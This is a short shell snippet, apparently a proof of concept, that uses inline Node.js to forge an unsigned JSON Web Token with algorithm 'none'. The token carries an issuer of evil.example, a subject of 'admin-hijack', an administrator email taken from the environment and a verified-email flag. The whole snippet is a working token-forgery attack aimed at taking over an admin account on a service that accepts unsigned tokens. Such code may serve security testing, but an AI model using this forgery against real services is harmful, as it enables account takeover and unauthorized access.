TOKEN=$(node -e '
function b64u(s){
  return Buffer.from(s).toString("base64")
    .replace(/\+/g,"-")
    .replace(/\//g,"_")
    .replace(/=+$/,"")
}

const header = b64u(JSON.stringify({ alg: "none", typ: "JWT" }));

const now = Math.floor(Date.now()/1000);
const payload = b64u(JSON.stringify({
  iss: "https://evil.example",
  aud: "abc",
  sub: "admin-hijack",
  email: process.env.ADMIN_EMAIL,
  email_verified: "1",
  iat: now,
  exp: now + 3600
}));

console.log(header + "." + payload + ".");
')

echo "$TOKEN"